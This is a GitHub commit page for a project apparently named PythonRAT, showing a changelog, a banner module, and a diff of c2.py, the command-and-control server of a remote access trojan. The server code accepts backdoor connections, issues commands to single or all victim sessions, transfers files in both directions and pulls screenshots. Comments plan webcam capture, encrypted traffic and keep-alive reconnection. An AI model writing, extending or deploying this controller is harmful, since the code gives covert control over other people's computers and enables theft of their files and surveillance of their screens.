Skip to content

Commit 5e69f77

Browse files
authored
Add files via upload
1 parent 7447184 commit 5e69f77

File tree

3 files changed

+84
-20
lines changed

3 files changed

+84
-20
lines changed

CHANGELOG

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
Changelog for PythonRAT
2+
-------------------
3+
4+
1.0.0 (2015-02-16 12:32:56 +0100)
5+
* Programmed Colour class
6+
* Termcolor dependency no longer necessary
7+
* Implemented a banner on launch of c2.py

c2.py

Lines changed: 45 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
1-
#possible dependency
2-
import datetime
31
import socket
4-
import termcolor #pip install termcolor
5-
import pyautogui #pip install pylance
2+
import termcolor
63
import json
74
import os
85
import threading
96

7+
from colour import banner
8+
9+
1010
def reliable_recv(target):
1111
data = ''
1212
while True:
@@ -16,21 +16,25 @@ def reliable_recv(target):
1616
except ValueError:
1717
continue
1818

19+
1920
def reliable_send(target, data):
2021
jsondata = json.dumps(data)
2122
target.send(jsondata.encode())
2223

23-
#This function is to stop server.py issuing reliable_send if command='help' or 'clear'
24-
#Creates less network traffic.
24+
25+
# This function is to stop server.py issuing reliable_send if command='help' or 'clear'
26+
# Creates less network traffic.
2527
def exclusion_words(command):
26-
exclusion_words = ['help', 'clear'] #make this global variable
27-
if command == exclusion_words :
28+
exclusion_words = ['help', 'clear'] # make this global variable
29+
if command == exclusion_words:
2830
return 1
2931

32+
3033
def upload_file(target, file_name):
3134
f = open(file_name, 'rb')
3235
target.send(f.read())
3336

37+
3438
def download_file(target, file_name):
3539
f = open(file_name, 'wb')
3640
target.settimeout(2)
@@ -44,11 +48,12 @@ def download_file(target, file_name):
4448
target.settimeout(None)
4549
f.close()
4650

51+
4752
def screenshot(target, count):
4853
directory = './screenshots'
4954
if not os.path.exists(directory):
5055
os.makedirs(directory)
51-
f = open(directory + '/screenshot_%d.png' % (count), 'wb') #if target=Linux then #apt-get install scrot
56+
f = open(directory + '/screenshot_%d.png' % (count), 'wb') # if target=Linux then #apt-get install scrot
5257
target.settimeout(3)
5358
chunk = target.recv(1024)
5459
while chunk:
@@ -61,6 +66,16 @@ def screenshot(target, count):
6166
f.close()
6267
count += 1
6368

69+
70+
# TODO: webcam(target) takes a quick webcam image
71+
# https://stackoverflow.com/a/69282582/4443012
72+
73+
# TODO: encrypt()
74+
# TODO: decrypt() functions using RSA library AES128-GCM
75+
76+
# TODO: use Flask to create a frontend UI in the web browser to manage C2 https://github.com/Tomiwa-Ot/moukthar
77+
78+
6479
def server_help_manual():
6580
print('''\n
6681
quit --> Quit Session With The Target
@@ -86,6 +101,7 @@ def server_help_manual():
86101
87102
\n''')
88103

104+
89105
def c2_help_manual():
90106
print('''\n
91107
===Command and Control (C2) Manual===
@@ -98,6 +114,7 @@ def c2_help_manual():
98114
sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad)
99115
\n''')
100116

117+
101118
def target_communication(target, ip):
102119
count = 0
103120
while True:
@@ -123,6 +140,7 @@ def target_communication(target, ip):
123140
result = reliable_recv(target)
124141
print(result)
125142

143+
126144
def accept_connections():
127145
while True:
128146
if stop_flag:
@@ -136,7 +154,8 @@ def accept_connections():
136154
except:
137155
pass
138156

139-
#Work in progress (currently 'exit' command is buggy when issued from c2()
157+
158+
# Work in progress (currently 'exit' command is buggy when issued from c2()
140159
def c2():
141160
while True:
142161
try:
@@ -188,16 +207,17 @@ def c2():
188207
else:
189208
print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
190209
except (KeyboardInterrupt, SystemExit):
191-
if (input('\nDo you want to exit? yes/no: ') == 'yes'):
210+
if input('\nDo you want to exit? yes/no: ') == 'yes':
192211
break
193212
except ValueError as e:
194213
print('[!!] ValueError: ' + str(e))
195-
continue
214+
continue
196215
finally:
197216
sock.close()
198217
print('\n[-] C2 Socket Closed! Bye!!')
199218

200-
def exit_c2(targets): #function of: elif command == 'exit':
219+
220+
def exit_c2(targets): # function of: elif command == 'exit':
201221
for target in targets:
202222
reliable_send(target, 'quit')
203223
target.close()
@@ -206,20 +226,23 @@ def exit_c2(targets): #function of: elif command == 'exit':
206226
t1.join()
207227
SystemExit()
208228

229+
209230
targets = []
210231
ips = []
211232
stop_flag = False
212233
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
213-
sock.bind(('127.0.0.1', 5555)) #sudo fuser -k 5555/tcp
234+
sock.bind(('127.0.0.1', 5555)) # sudo fuser -k 5555/tcp
214235
sock.listen(5)
215236
t1 = threading.Thread(target=accept_connections)
216237
t1.start()
238+
# print(colour.Colour())
239+
print(banner())
217240
print('Run "help" command to see the usage manual')
218241
print(termcolor.colored('[+] Waiting For The Incoming Connections ...', 'green'))
219242

220-
#c2()
243+
# c2()
221244

222-
#Command and control code (legacy)
245+
# Command and control code (legacy)
223246
while True:
224247
try:
225248
command = input('[**] Command & Control Center: ')
@@ -270,14 +293,13 @@ def exit_c2(targets): #function of: elif command == 'exit':
270293
else:
271294
print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
272295
except (KeyboardInterrupt, SystemExit):
273-
if (input('\nDo you want to exit? yes/no: ') == 'yes'):
296+
if input('\nDo you want to exit? yes/no: ') == 'yes':
274297
sock.close()
275298
print(termcolor.colored('\n[-] C2 Socket Closed! Bye!!', 'yellow'))
276299
break
277300
except ValueError as e:
278301
print(termcolor.colored('[!!] ValueError: ' + str(e), 'red'))
279-
continue
280-
302+
continue
281303

282304
"""
283305
Possibly improvements
@@ -287,4 +309,7 @@ def exit_c2(targets): #function of: elif command == 'exit':
287309
288310
This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
289311
and will attempt to run connection() function again.
290-
"""
312+
"""
313+
314+
# TODO: encrypt connection
315+
# TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)

colour.py

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
def banner():
2+
return (Colour.green("""
3+
,------. ,------. ,---. ,--------.
4+
| .--. ',--. ,--.| .--. ' / O \'--. .--'
5+
| '--' | \ ' / | '--'.'| .-. | | |
6+
| | --' \ ' | |\ \ | | | | | |
7+
`--' .-' / `--' '--'`--' `--' `--'
8+
`---'
9+
""") + "(" +
10+
Colour.blue("v1.0.0") + ")" +
11+
Colour.yellow(" Author: safesploit") +
12+
"\n")
13+
14+
15+
class Colour():
16+
@staticmethod
17+
def red(str):
18+
return "\033[91m" + str + "\033[0m"
19+
20+
@staticmethod
21+
def green(str):
22+
return "\033[92m" + str + "\033[0m"
23+
24+
@staticmethod
25+
def yellow(str):
26+
return "\033[93m" + str + "\033[0m"
27+
28+
@staticmethod
29+
def blue(str):
30+
return "\033[94m" + str + "\033[0m"
31+
32+
# print(banner())

0 commit comments

Comments
 (0)